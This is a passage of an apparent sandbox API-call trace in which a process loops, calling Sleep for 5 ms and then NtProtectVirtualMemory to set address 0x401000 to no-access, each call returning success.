0x0 [0267.957] Sleep (dwMilliseconds=0x5) [0268.022] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0268.025] Sleep (dwMilliseconds=0x5) [0268.068] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0268.069] Sleep (dwMilliseconds=0x5) [0268.112] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0268.113] Sleep (dwMilliseconds=0x5) [0268.165] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0268.166] Sleep (dwMilliseconds=0x5) [0268.211] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0268.212] Sleep (dwMilliseconds=0x5) [0268.256] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0268.257] Sleep (dwMilliseconds=0x5) [0268.304] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0268.305] Sleep (dwMilliseconds=0x5) [0268.348] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0268.349] Sleep (dwMilliseconds=0x5) [0268.394] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0268.394] Sleep (dwMilliseconds=0x5) [0268.444] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0268.445] Sleep (dwMilliseconds=0x5) [0268.487] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0268.488] Sleep (dwMilliseconds=0x5) [0268.538] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0268.538] Sleep (dwMilliseconds=0x5) [0268.582] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0268.583] Sleep (dwMilliseconds=0x5) [0268.632] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0268.633] Sleep (dwMilliseconds=0x5) [0268.677] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0268.678] Sleep (dwMilliseconds=0x5) [0268.742] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0268.743] Sleep (dwMilliseconds=0x5) [0268.785] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0268.786] Sleep (dwMilliseconds=0x5) [0268.832] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0268.833] Sleep (dwMilliseconds=0x5) [0268.882] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0268.883] Sleep (dwMilliseconds=0x5) [0268.926] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0268.926] Sleep (dwMilliseconds=0x5) [0269.001] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0269.001] Sleep (dwMilliseconds=0x5) [0269.052] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0269.052] Sleep (dwMilliseconds=0x5) [0269.098] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0269.099] Sleep (dwMilliseconds=0x5) [0269.147] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0269.148] Sleep (dwMilliseconds=0x5) [0269.194] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0269.195] Sleep (dwMilliseconds=0x5) [0269.237] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0269.238] Sleep (dwMilliseconds=0x5) [0269.284] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0269.285] Sleep (dwMilliseconds=0x5) [0269.335] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0269.336] Sleep (dwMilliseconds=0x5) [0269.379] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0269.380] Sleep (dwMilliseconds=0x5) [0269.427] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0269.428] Sleep (dwMilliseconds=0x5) [0269.476] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0269.477] Sleep (dwMilliseconds=0x5) [0269.520] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0269.520] Sleep (dwMilliseconds=0x5) [0269.569] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0269.570] Sleep (dwMilliseconds=0x5) [0269.615] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0269.615] Sleep (dwMilliseconds=0x5) [0269.668] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0269.669] Sleep (dwMilliseconds=0x5) [0269.725] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0269.726] Sleep (dwMilliseconds=0x5) [0269.770] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0269.771] Sleep (dwMilliseconds=0x5) [0269.818] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0269.819] Sleep (dwMilliseconds=0x5) [0269.867] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0269.867] Sleep (dwMilliseconds=0x5) [0269.909] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0269.909] Sleep (dwMilliseconds=0x5) [0269.956] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0269.957] Sleep (dwMilliseconds=0x5) [0270.018] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0270.019] Sleep (dwMilliseconds=0x5) [0270.101] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0270.102] Sleep (dwMilliseconds=0x5) [0270.169] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0270.170] Sleep (dwMilliseconds=0x5) [0270.223] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0270.224] Sleep (dwMilliseconds=0x5) [0270.271] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0270.272] Sleep (dwMilliseconds=0x5) [0270.324] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0270.325] Sleep (dwMilliseconds=0x5) [0270.368] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0270.368] Sleep (dwMilliseconds=0x5) [0270.419] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0270.432] Sleep (dwMilliseconds=0x5) [0270.464] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0270.465] Sleep (dwMilliseconds=0x5) [0270.510] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0270.511] Sleep (dwMilliseconds=0x5) [0270.557] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0270.558] Sleep (dwMilliseconds=0x5) [0270.603] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0270.604] Sleep (dwMilliseconds=0x5) [0270.648] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0270.649] Sleep (dwMilliseconds=0x5) [0270.696] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0270.697] Sleep (dwMilliseconds=0x5) [0270.739] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0270.740] Sleep (dwMilliseconds=0x5) [0270.789] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0270.790] Sleep (dwMilliseconds=0x5) [0270.832] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0270.832] Sleep (dwMilliseconds=0x5) [0270.912] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0270.912] Sleep (dwMilliseconds=0x5) [0270.961] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0270.962] Sleep (dwMilliseconds=0x5) [0271.003] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0271.004] Sleep (dwMilliseconds=0x5) [0271.068] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0271.069] Sleep (dwMilliseconds=0x5) [0271.112] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0271.113] Sleep (dwMilliseconds=0x5) [0271.160] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0271.161] Sleep (dwMilliseconds=0x5) [0271.209] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0271.210] Sleep (dwMilliseconds=0x5) [0271.253] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0271.254] Sleep (dwMilliseconds=0x5) [0271.319] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0271.320] Sleep (dwMilliseconds=0x5) [0271.362] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0271.363] Sleep (dwMilliseconds=0x5) [0271.412] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0271.440] Sleep (dwMilliseconds=0x5) [0271.488] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0271.488] Sleep (dwMilliseconds=0x5) [0271.536] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0271.537] Sleep (dwMilliseconds=0x5) [0271.586] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0271.587] Sleep (dwMilliseconds=0x5) [0271.638] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0271.639] Sleep (dwMilliseconds=0x5) [0271.686] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 0x0 [0271.687] Sleep (dwMilliseconds=0x5) [0271.733] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, NewAccessProtection=0x1, OldAccessProtection=0x5613e1 | out: BaseAddress=0x5613f5*=0x401000, NumberOfBytesToProtect=0x5613f9, OldAccessProtection=0x5613e1*=0x1) returned 